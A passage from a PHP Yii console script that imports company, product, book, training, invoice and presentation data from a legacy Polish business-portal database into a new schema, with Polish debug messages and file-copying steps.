                            $modelProductHasTag->id_tag = $modelProductsTag->id_tag;

                            if(($result = $this->trySaveModel($modelProductHasTag, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu powiazania produktu z tagiem');
                                $goToNextIterration2 = true;
                                break;
                            } 
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                    
                    if(!empty($product['categories'])) {
                        $goToNextIterration2 = false;
                        foreach($product['categories'] as $idCategory) {
                            $modelProductHasProductsCategory = new ProductsHasProductsCategories();
                            $modelProductHasProductsCategory->id_category = $idCategory;
                            $modelProductHasProductsCategory->id_product = $modelProduct->id_product;

                            if(($result = $this->trySaveModel($modelProductHasProductsCategory, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu powiazania produktu z kategoria');
                                $goToNextIterration2 = true;
                                break;
                            }
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }                    
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $idsBooks = [];
            if(!empty($company['books']) && !empty($modelPublishingHouse->id_publishing_house)) {
                $goToNextIterration = false;
                foreach($company['books'] as $book) {
                    $modelBook = $this->createModelBooks($book, $modelCompany->id_company, $modelPublishingHouse->id_publishing_house); 
                    if(($result = $this->trySaveModel($modelBook, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu ksiazki');
                        $goToNextIterration = true;
                        break;
                    }                    
                    if(!empty($modelBook->image_filename)) {
                        $this->filesToCopy[] = [
                            'source_path' => Yii::getAlias('@runtime').'/sources/books/'.$book['img_1'],                    
                            'target_path' => Yii::getAlias('@booksImagesRealPath').'/'.$modelBook->id_book.'/'.$modelBook->image_filename
                        ];
                    }
                    $idsBooks[] = $modelBook->id_book;
                    $this->objectsRelationsMap['import_books'][$book['id']] = $modelBook->id_book;
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $idsTrainings = [];
            if(!empty($company['trainings'])) {
                $goToNextIterration = false;
                foreach($company['trainings'] as $training) {
                    $modelTraining = $this->createModelTraings($training, $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelTraining, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu szkolenia');
                        $goToNextIterration = true;
                        break;
                    }
                    
                    $idsTrainings[] = $modelTraining->id_training;
                    $this->objectsRelationsMap['import_trainings'][$training['id_szkolenia']] = $modelTraining->id_training;
                    
                    $modelTrainingDate = $this->createModelTraingsDates($training, $modelTraining->id_training);
                    if(($result = $this->trySaveModel($modelTrainingDate, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu terminu szkolenia');
                        $goToNextIterration = true;
                        break;
                    }
                    
                    if(!empty($training['portals'])) {
                        $goToNextIterration2 = false;
                        foreach($training['portals'] as $idAssignedPortal) {
                            $modelTrainingHasPortal = new TrainingsHasPortals();
                            $modelTrainingHasPortal->id_training = $modelTraining->id_training;
                            $modelTrainingHasPortal->id_portal = $idAssignedPortal;
                            if(($result = $this->trySaveModel($modelTrainingHasPortal, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu powiazania szkolenia z portalem');
                                $goToNextIterration2 = true;
                                break;
                            }
                        }            
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                    
                    $modelTrainingHasCategory = new TrainingsHasTrainingsCategories();
                    $modelTrainingHasCategory->id_training = $modelTraining->id_training;
                    $modelTrainingHasCategory->id_category = isset($this->trainingsCategoriesMap[intval($training['typ'])]) ? $this->trainingsCategoriesMap[intval($training['typ'])] : 5; //kategoria id=5: "Inne"
                    if(($result = $this->trySaveModel($modelTrainingHasCategory, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu powiazania szkolenia z kategoria');
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }                
            }
            
            if(!empty($company['cases'])) {
                $goToNextIterration = false;
                foreach($company['cases'] as $case) {
                    $modelCompanyCase = $this->createModelCompaniesCases($case, $modelCompany->id_company);    
                    if(($result = $this->trySaveModel($modelCompanyCase, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu wątku historii kontaktu');
                        $goToNextIterration = true;
                        break;
                    }
                    $this->objectsRelationsMap['import_companies_contact_history'][$case['id_sprawa']] = $modelCompanyCase->id_case;
                    
                    $modelsCompanyCaseEntries = $this->createModelsCompaniesCasesEntries($case['entries'], $modelCompanyCase->id_case);            
                    if(!empty($modelsCompanyCaseEntries)) {
                        $goToNextIterration2 = false;
                        foreach($modelsCompanyCaseEntries as $modelCompanyCaseEntry) {
                            if(($result = $this->trySaveModel($modelCompanyCaseEntry, $company['id_user'], $debugMode)) !== true) {                                
                                var_dump('Blad podczas zapisu wpisu w watku historii kontaktu');
                                $goToNextIterration2 = true;
                                break;
                            }  
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            if(!empty($company['invoices'])) {
                $goToNextIterration = false;
                foreach($company['invoices'] as $invoice) {
                    $modelInvoice = $this->createModelInvoices($invoice, $modelCompany->id_company);    
                    if(($result = $this->trySaveModel($modelInvoice, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu faktury');
                        $goToNextIterration = true;
                        break;
                    }
                    $this->objectsRelationsMap['import_companies_invoices'][$invoice['id_faktura']] = $modelInvoice->id_invoice;
                    
                    if(!empty($invoice['items'])) {
                        $modelsInvoiceItems = $this->createModelsInvoicesItems($invoice['items'], $modelInvoice->id_invoice, $invoice['cd']);            
                        if(!empty($modelsInvoiceItems)) {
                            $goToNextIterration2 = false;
                            foreach($modelsInvoiceItems as $modelInvoiceItem) {
                                if(($result = $this->trySaveModel($modelInvoiceItem, $company['id_user'], $debugMode)) !== true) {
                                    var_dump('Blad podczas zapisu przedmiotu na fakturze');
                                    $goToNextIterration2 = true;
                                    break;
                                }  
                            }
                            if($goToNextIterration2) {
                                $goToNextIterration = true;
                                break;
                            }
                        }
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }            
                        
            $idsPresentationsTags = [];
            if(!empty($company['keywords'])) {
                $presentationsCount = count($company['portale']);
                $modelsPresentationsTags = PresentationsTags::find()->where(['name' => $company['keywords']])->indexBy('name')->all();
                
                $goToNextIterration = false;
                foreach($company['keywords'] as $tag) {            
                    if(!isset($modelsPresentationsTags[$tag])) {
                        $modelPresentationsTag = new PresentationsTags(['scenario' => 'create']);
                        $modelPresentationsTag->name = $tag;
                        $modelPresentationsTag->quantity = $presentationsCount;
                        $modelsPresentationsTags[$tag] = $modelPresentationsTag;
                    } else {
                        $modelsPresentationsTags[$tag]->quantity += $presentationsCount;
                    }

                    if(($result = $this->trySaveModel($modelsPresentationsTags[$tag], $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu tagu prezentacji');
                        $goToNextIterration = true;
                        break;
                    } 

                    $idsPresentationsTags[] = $modelsPresentationsTags[$tag]->id_tag;
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $goToNextIterration = false;
            $idsPresentations = [];
            $idsPresentationsForMirroring = [];
            foreach($company['portale'] as $assignedPortal) {
                $idPortal = intval($assignedPortal['id_portal']);
                $modelPresentation = $this->createModelCompaniesPresentations($assignedPortal, $modelCompany->id_company, $idsCompanyContactData, !empty($company['views_number']) ? $company['views_number'] : 0);   
                if(($result = $this->trySaveModel($modelPresentation, $company['id_user'], $debugMode)) !== true) {
                    var_dump('Blad podczas zapisu prezentacji');
                    $goToNextIterration = true;
                    break;
                }
                $idsPresentations[] = $modelPresentation->id_presentation;
                
                if(!empty($this->portals[$idPortal]['id_parent_portal'])) {
                    $idsPresentationsForMirroring[] = $modelPresentation->id_presentation;
                }
                
                if(!empty($company['zakladki'])) {
                    $goToNextIterration2 = false;
                    $idAboutCompanyTab = $idOfferTab = null;
                    foreach($company['zakladki'] as $presentationTab) {
                        $modelPresentationTab = $this->createModelCompaniesPresentationsTabs($presentationTab, $modelPresentation->id_presentation);                        
                        if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu zakladki prezentacji');
                            $goToNextIterration2 = true;
                            break;
                        }
                        if($presentationTab['id'] === 'ABOUT_COMPANY') {
                            $idAboutCompanyTab = $modelPresentationTab->id_company_tab;
                        } elseif($presentationTab['id'] === 'OFFER') {
                            $idOfferTab = $modelPresentationTab->id_company_tab;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                    
                    if(empty($idAboutCompanyTab)) {
                        $modelPresentationTab = $this->createModelCompaniesPresentationsTabs(['id' => 'ABOUT_COMPANY', 'status' => 0], $modelPresentation->id_presentation);                        
                        if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu zakladki prezentacji - o firmie');
                            $goToNextIterration = true;
                            break;
                        }
                        $idAboutCompanyTab = $modelPresentationTab->id_company_tab;
                    }
                    if(empty($idOfferTab)) {
                        $modelPresentationTab = $this->createModelCompaniesPresentationsTabs(['id' => 'OFFER', 'status' => 0], $modelPresentation->id_presentation);                        
                        if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu zakladki prezentacji - oferta');
                            $goToNextIterration = true;
                            break;
                        }
                        $idOfferTab = $modelPresentationTab->id_company_tab;
                    }
                    
                    //@todo przetestować czy prawidłowo zamienia ścieżki do obrazków wewnątrz treśći
                    $pageAboutCompanyLead = !empty($company['opis_wyszukiwarka']) ? strip_tags($company['opis_wyszukiwarka']) : null;
                    $pageAboutCompanyContent = !empty($company['o_firmie']) ? $company['o_firmie'] : null;
                    $modelPresentationPage = $this->createModelCompaniesPresentationsPages($idAboutCompanyTab, $pageAboutCompanyLead, $pageAboutCompanyContent, $company['id_user'], $modelCompany->id_company); 
                    if(($result = $this->trySaveModel($modelPresentationPage, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu strony dla zakladki prezentacji - o firmie');
                        $goToNextIterration = true;
                        break;
                    }
                    
                    $pageOfferLead = !empty($company['oferta']) ? strip_tags($company['oferta']) : null;
                    $pageOfferContent = !empty($company['oferta']) ? $company['oferta'] : null;
                    $modelPresentationPage = $this->createModelCompaniesPresentationsPages($idOfferTab, $pageOfferLead, $pageOfferContent, $company['id_user'], $modelCompany->id_company);                        
                    if(($result = $this->trySaveModel($modelPresentationPage, $company['id_user'], $debugMode)) !== true) {
                        var_dump('Blad podczas zapisu strony dla zakladki prezentacji - oferta');
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                $modelPresentationTab = $this->createModelCompaniesPresentationsTabs(['id' => 'BRANCHES', 'status' => !empty($company['branches']) ? 1 : 0], $modelPresentation->id_presentation);                        
                if(($result = $this->trySaveModel($modelPresentationTab, $company['id_user'], $debugMode)) !== true) {
                    var_dump('Blad podczas zapisu strony dla zakladki prezentacji - odzialy');
                    $goToNextIterration = true;
                }
                
                if(!empty($companyBranches)) {
                    $goToNextIterration2 = false;
                    foreach($companyBranches as $companyBranchData) {
                        $modelCompanyPresentationHasCompanyBranch = new CompaniesPresentationsHasCompaniesBranches(['scenario' => 'create']);
                        $modelCompanyPresentationHasCompanyBranch->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyBranch->id_branch = $companyBranchData['id'];
                        $modelCompanyPresentationHasCompanyBranch->branch_order = $companyBranchData['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyBranch, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania oddzialu z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                if(!empty($companyDepartments)) {
                    $goToNextIterration2 = false;
                    foreach($companyDepartments as $companyDepartment) {
                        $modelCompanyPresentationHasCompanyDepartment = new CompaniesPresentationsHasCompaniesDepartments(['scenario' => 'create']);
                        $modelCompanyPresentationHasCompanyDepartment->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyDepartment->id_department = $companyDepartment['id'];
                        $modelCompanyPresentationHasCompanyDepartment->department_order = $companyDepartment['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyDepartment, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania dzialu z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }                
                
                if(!empty($company['coverage_regions']) ) {
                    $goToNextIterration2 = false;
                    foreach($company['coverage_regions'] as $idRegion) {
                        $modelCompanyPresentationHasRegion = new CompaniesPresentationsHasRegions(['id_presentation' => $modelPresentation->id_presentation, 'id_region' => $idRegion]);                        
                        if(($result = $this->trySaveModel($modelCompanyPresentationHasRegion, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania regionu z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }

                if(!empty($company['coverage_countries']) ) {
                    $goToNextIterration2 = false;
                    foreach($company['coverage_countries'] as $idCountry) {
                        $modelCompanyPresentationHasCountry = new CompaniesPresentationsHasCountries(['id_presentation' => $modelPresentation->id_presentation, 'id_country' => $idCountry]);
                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCountry, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania kraju z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                if(!empty($idsPresentationsTags)) {
                    $goToNextIterration2 = false;
                    foreach($idsPresentationsTags as $idPresentationsTag) {
                        $modelCompanyPresentationHasPresentationsTag = new CompaniesPresentationsHasPresentationsTags(['id_presentation' => $modelPresentation->id_presentation, 'id_tag' => $idPresentationsTag]);                       
                        if(($result = $this->trySaveModel($modelCompanyPresentationHasPresentationsTag, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania tagu z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        } 
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }   
                }
                
                if(!empty($companyAwards)) {
                    $goToNextIterration2 = false;
                    foreach($companyAwards as $companyAward) {
                        $modelCompanyPresentationHasCompanyAward = new CompaniesPresentationsHasCompaniesAwards(['scenario' => 'create']);
                        $modelCompanyPresentationHasCompanyAward->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyAward->id_award = $companyAward['id'];
                        $modelCompanyPresentationHasCompanyAward->award_order = $companyAward['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyAward, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania referencji z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }                
                
                if(!empty($companyDownloads)) {
                    $goToNextIterration2 = false;
                    foreach($companyDownloads as $companyDownload) {
                        $modelCompanyPresentationHasCompanyDownload = new CompaniesPresentationsHasCompaniesDownloads(['scenario' => 'create']);
                        $modelCompanyPresentationHasCompanyDownload->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyDownload->id_download = $companyDownload['id'];
                        $modelCompanyPresentationHasCompanyDownload->download_order = $companyDownload['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyDownload, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania downloadu z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                if(!empty($companyVideoGalleries)) {
                    $goToNextIterration2 = false;
                    foreach($companyVideoGalleries as $companyVideoGallery) {
                        $modelCompanyPresentationHasCompanyVideoGallery = new CompaniesPresentationsHasCompaniesVideogalleries(['scenario' => 'create']);
                        $modelCompanyPresentationHasCompanyVideoGallery->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyVideoGallery->id_gallery = $companyVideoGallery['id'];
                        $modelCompanyPresentationHasCompanyVideoGallery->gallery_order = $companyVideoGallery['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyVideoGallery, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania galerii wideo z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                if(!empty($companyPhotoGalleries)) {
                    $goToNextIterration2 = false;
                    foreach($companyPhotoGalleries as $companyPhotoGallery) {
                        $modelCompanyPresentationHasCompanyPhotoGallery = new CompaniesPresentationsHasCompaniesPhotogalleries(['scenario' => 'create']);
                        $modelCompanyPresentationHasCompanyPhotoGallery->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyPhotoGallery->id_gallery = $companyPhotoGallery['id'];
                        $modelCompanyPresentationHasCompanyPhotoGallery->gallery_order = $companyPhotoGallery['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyPhotoGallery, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania galerii zdjec z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
//                if(!empty($company['categories'][$modelPresentation->id_portal])) {
                if(!empty($company['categories'])) {
                    $goToNextIterration2 = false;
//                    foreach($company['categories'][$modelPresentation->id_portal] as $idCategory) {
                    foreach($company['categories'] as $idCategory) {
                        $modelCompanyPresentationHasCompanyCategory = new CompaniesPresentationsHasCompaniesCategories();
                        $modelCompanyPresentationHasCompanyCategory->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasCompanyCategory->id_category = $idCategory;

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasCompanyCategory, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania prezentacji z kategoria firm');
                            $goToNextIterration2 = true;
                            break;
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                
                if(!empty($products)) {
                    $goToNextIterration2 = false;
                    foreach($products as $productData) {
                        $modelCompanyPresentationHasProduct = new CompaniesPresentationsHasProducts(['scenario' => 'create']);
                        $modelCompanyPresentationHasProduct->id_presentation = $modelPresentation->id_presentation;
                        $modelCompanyPresentationHasProduct->id_product = $productData['id'];
                        $modelCompanyPresentationHasProduct->product_order = $productData['order'];

                        if(($result = $this->trySaveModel($modelCompanyPresentationHasProduct, $company['id_user'], $debugMode)) !== true) {
                            var_dump('Blad podczas zapisu powiazania produktu z prezentacja');
                            $goToNextIterration2 = true;
                            break;
                        }                   
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
            }
            if($goToNextIterration) {
                continue;
            }
            
            if(count($idsPresentationsForMirroring) > 1) {
                foreach($idsPresentationsForMirroring as $idPresentationMirroring1) {
                    $goToNextIterration2 = false;
                    foreach($idsPresentationsForMirroring as $idPresentationMirroring2) {
                        if($idPresentationMirroring1 !== $idPresentationMirroring2) {
                            $modelCompanyPresentationMirroring = new CompaniesPresentationsMirroring(['id_presentation' => $idPresentationMirroring1, 'id_related_presentation' => $idPresentationMirroring2]);
                            if(($result = $this->trySaveModel($modelCompanyPresentationMirroring, $company['id_user'], $debugMode)) !== true) {
                                var_dump('Blad podczas zapisu mirroringu prezentacji');
                                $goToNextIterration2 = true;
                                break;
                            }
                        }
                    }
                    if($goToNextIterration2) {
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }

            if($debugMode === self::DEBUG_MODE_OFF) {
                //@todo to za mało - funkcje te czytają z tabel:
                //- ompanies_employees_contact_data
                //- companies_branches_contact_data
                //- companies_departments_contact_data
                if($orSaveCompany === true || !empty($company['branches']) || !empty($company['departments'])) { //@todo przetestować, czy takie coś wystarczy
                    Emails::refreshForCompany($modelCompany->id_company);
                    Emails::refreshForUser($modelCompany->id_user);
                }   
                if($orSaveCompany === true) {
                    Yii::$app->authManager->assign($roleCompany, $modelCompany->id_user);
                }
//                if(!empty($idsPresentations)) {
//                    IndexPresentations::refreshRecords($idsPresentations);
//                }
//                if(!empty($idsProducts)) {
//                    IndexProducts::refreshRecords($idsProducts);
//                }
//                if(!empty($idsBooks)) {
//                    IndexBooks::refreshRecords($idsBooks);
//                }
//                if(!empty($idsTrainings)) {
//                    IndexTrainings::refreshRecords($idsTrainings);
//                }
            }
            
            if(!empty($this->filesToCopy) && $debugMode === self::DEBUG_MODE_OFF) {
                $goToNextIterration = false;                
                foreach($this->filesToCopy as $fileToCopy) {
                    if(!$this->copyFile($fileToCopy)) {
                        $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error when copying a file');
                        $transaction->rollBack();
                        var_dump('Blad podczas zapisu pliku');
                        $goToNextIterration = true;
                        break;
                    }
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            //@todo przetestować czy kopiuje prawidłowo
            if($debugMode === self::DEBUG_MODE_OFF && file_exists(Yii::getAlias('@runtime').'/sources/companies_content_images/'.$company['id_user'].'/')) {
                $sourcePath = Yii::getAlias('@runtime').'/sources/companies_content_images/'.$company['id_user'].'/';
                $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$modelCompany->id_company.'/';
                if(!$this->copyDir($sourcePath, $targetPath)) {
                    $this->saveOperationStatus(self::STATUS_FAIL, $company['id_user'], null, 'Error when copying a file');
                    $this->removeDir($targetPath);
                    $transaction->rollBack();        
                    var_dump('Blad podczas kopiowania plikow usera');
                    continue;
                }
            }
            
            if($debugMode === self::DEBUG_MODE_OFF) {
                $this->saveOperationStatus(self::STATUS_OK, $company['id_user'], $modelCompany->id_company);                
                if(!empty($this->objectsRelationsMap)) {
                    foreach($this->objectsRelationsMap as $collectionName => $relations) {
                        foreach($relations as $idOld => $idNew) {
                            Yii::$app->mongodb->getCollection($collectionName)->save(['source_id' => $idOld, 'target_id' => $idNew, 'status' => self::STATUS_OK, 'info' => null]);
                        }
                    }
                }                
                $this->usersToCompaniesMap[(int)$company['id_user']] = (int)$modelCompany->id_company;
                $transaction->commit();
//                echo 'zapisana';
                unset($innorrectImports[$company['id_user']]);
            } else {
                echo 'zapisana';
                unset($innorrectImports[$company['id_user']]);
//                echo "\n";
            }
        }
        
        if(!empty($innorrectImports)) {
            echo "\n".'ID niezaimportowancyh firm: '.implode(", ", array_keys($innorrectImports));
        }
    }
    
    private function getCompanies()
    {
        $this->companies = [];
        
        if(!empty($this->limit)) {
            if(!empty($this->offset)) {
                $limit = 'LIMIT '.intval($this->offset).','.intval($this->limit);
            } else {
                $limit = 'LIMIT '.intval($this->limit);
            }
        } else {
            $limit = 'LIMIT 100';
        }
        //SELECT pu.id_pakiet, u.* FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.id_portal = 1 AND pu.id_pakiet > 1 AND u.status = 1 ORDER BY u.id_user ASC
        if(!empty($this->idUser)) {
            $sql = 'SELECT pu.id_pakiet, u.* FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.id_user = '.intval($this->idUser);   
        } else {
            $sql = 'SELECT pu.id_pakiet, u.* FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user'; 
            if(!empty($this->idPortal)) {
                $sql .= ' AND u.id_portal = '.intval($this->idPortal);
            } 
            if(!empty($this->userProfile)) {
                $sql .= ' AND u.profil = '.intval($this->userProfile);
            } 
            if(!empty($this->userStatus)) {
                $sql .= ' AND u.status = '.intval($this->userStatus);
            }
            if(!empty($this->userPackage)) {
                $sql .= ' AND pu.id_pakiet = '.intval($this->userPackage);
            }   
            if($this->onlyBaseUsers) {
                $sql .= ' AND u.id_user IN (SELECT DISTINCT id_user_base FROM users_duplicated)';
            }
            if($this->onlyInactiveUsersWithInvoices) {
                $sql .= ' AND u.id_user IN (SELECT DISTINCT u.id_user FROM users u, faktury f WHERE f.id_user = u.id_user AND u.status <> 1 AND u.profil <> 105)'; //@todo rozważyć, czy nie szukać tylko wśród faktur zaksięgowanych - wtedy jest około 500 firm zamiast 2500
            }
            
            $sql .= ' ORDER BY u.id_user ASC '.$limit;
        }  
        
//        $sql = 'SELECT DISTINCT u.id_user FROM users u, faktury f WHERE f.id_user = u.id_user AND u.status <> 1 AND u.profil <> 105 ORDER BY u.id_user LIMIT 2000,1000';
//        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
//        $ids = [];
//        foreach($rows as $row) {  
//            $ids[] = intval($row['id_user']);
//        }
//        $sql = 'SELECT pu.id_pakiet, u.* FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.id_user IN ('.implode(",", $ids).') ORDER BY u.id_user';
        
//        echo $sql; exit;
//        $ids = [
//            61233, 
//            61234,
//            44782,
//            47859, 
//            48292, 
//            48439, 
//            48552,
//            50795, 
//            51186, 
//            51226,
//            52687, 
//            52806, 
//            55714,
//            158670,
//            63712, 
//            63800, 
//            63858, 
//            63859, 
//            63860, 
//            63891, 
//            64521, 
//            64696, 
//            64697, 
//            64701, 
//            96112,
//            131882,
//            133621,
//            142177, 
//            158272,
//            105057,
//            110003,
//            120394
//        ];
//        $sql = 'SELECT pu.id_pakiet, u.* FROM users u, pakiety_users pu WHERE u.id_user = pu.id_user AND u.id_user IN ('.implode(",", $ids).') ORDER BY u.id_user';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return;
        }
        $idsPortals = [];
        foreach($rows as $row) {            
            $portals = [];
            if(empty($row['id_portal']) || !isset($this->packagesMap[intval($row['id_pakiet'])])) {
                continue;
            }
            
            $portals[] = ['id_portal' => $row['id_portal'], 'pakiet' => $this->packagesMap[intval($row['id_pakiet'])], 'status' => $row['status']];
            $idsPortals[intval($row['id_portal'])] = intval($row['id_portal']);
            if(!empty($row['id_portal_2'])) {
                $portals[] = ['id_portal' => $row['id_portal_2'], 'pakiet' => $this->packagesMap[intval($row['id_pakiet'])], 'status' => $row['status']];
                $idsPortals[intval($row['id_portal_2'])] = intval($row['id_portal_2']);
            }
            if(!empty($row['id_portal_3'])) {
                $portals[] = ['id_portal' => $row['id_portal_3'], 'pakiet' => $this->packagesMap[intval($row['id_pakiet'])], 'status' => $row['status']];
                $idsPortals[intval($row['id_portal_3'])] = intval($row['id_portal_3']);
            }

            foreach($portals as $key => $portalData) {
                if(!isset($this->portals[intval($portalData['id_portal'])])) {
                    unset($portals[$key]);
                }
            }            
            if(empty($portals)) {
                continue;
            }
            
            $row = $this->convertDataLatin2ToUTF8($row);
            $row['email_firma2'] = $row['email_firma3'] = $row['www2'] = $row['www3'] = $row['tel2'] = $row['tel3'] = $row['fax2'] = $row['fax3'] = $row['gsm2'] = $row['gsm3'] = $row['regon'] = $row['krs'] = '';
            $this->companies[$row['id_user']] = $row;            
            $this->companies[$row['id_user']]['portale'] = $portals;
            $this->companies[$row['id_user']]['usage_status'] = CompanyUsageStatus::UNUSED; //@todo przeniesione zostało to tutaj, bo analiza powiązań z operatorami i vcallcenter trafia do osobnego pliku
        }
        $idsPortals = array_values($idsPortals);
        
        $idsUsers = array_keys($this->companies);
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM zakladki_status WHERE id_user IN ('.implode(",", $idsUsers).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                if(!isset($this->tabsMap[intval($row['id'])])) {
                    continue;
                }
                $this->companies[$row['id_user']]['zakladki'][$this->tabsMap[intval($row['id'])]] = ['id' => $this->tabsMap[intval($row['id'])], 'status' => $row['status']];
            }
        }
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT id_user, opis_wyszukiwarka, oferta, slowa_klucze FROM portal_firmy WHERE id_user IN ('.implode(",", $idsUsers).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $row = $this->convertDataLatin2ToUTF8($row);
                
                $this->companies[$row['id_user']]['o_firmie'] = $row['opis_wyszukiwarka'];
                $this->companies[$row['id_user']]['oferta'] = $row['oferta'];
                
                if(!empty($row['slowa_klucze'])) {
                    $keywords = [];                    
                    $keywordsTemp = explode(",", $row['slowa_klucze']);
                    if(!empty($keywordsTemp)) {                        
                        foreach($keywordsTemp as $keywordTemp) {                 
                            $keywordTemp = trim($keywordTemp);
                            if(!empty($keywordTemp) && strlen($keywordTemp) <= 60) {
                                $keywords[$keywordTemp] = $keywordTemp;
                            }
                        }
                        unset($keywordsTemp);
                    }          
                    $this->companies[$row['id_user']]['keywords'] = !empty($keywords) ? array_values($keywords) : [];
                }
            }
        }
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT id_user, display FROM firmy_statystyki WHERE id_user IN ('.implode(",", $idsUsers).')')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->companies[$row['id_user']]['views_number'] = $row['display'];
            }
        }

        $rows = Yii::$app->dbVortale->createCommand('SELECT id_user, latitude, longitude FROM firmy_geo WHERE id_user IN ('.implode(",", $idsUsers).') AND id_oddzialu = 0')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->companies[$row['id_user']]['lat'] = $row['latitude'];
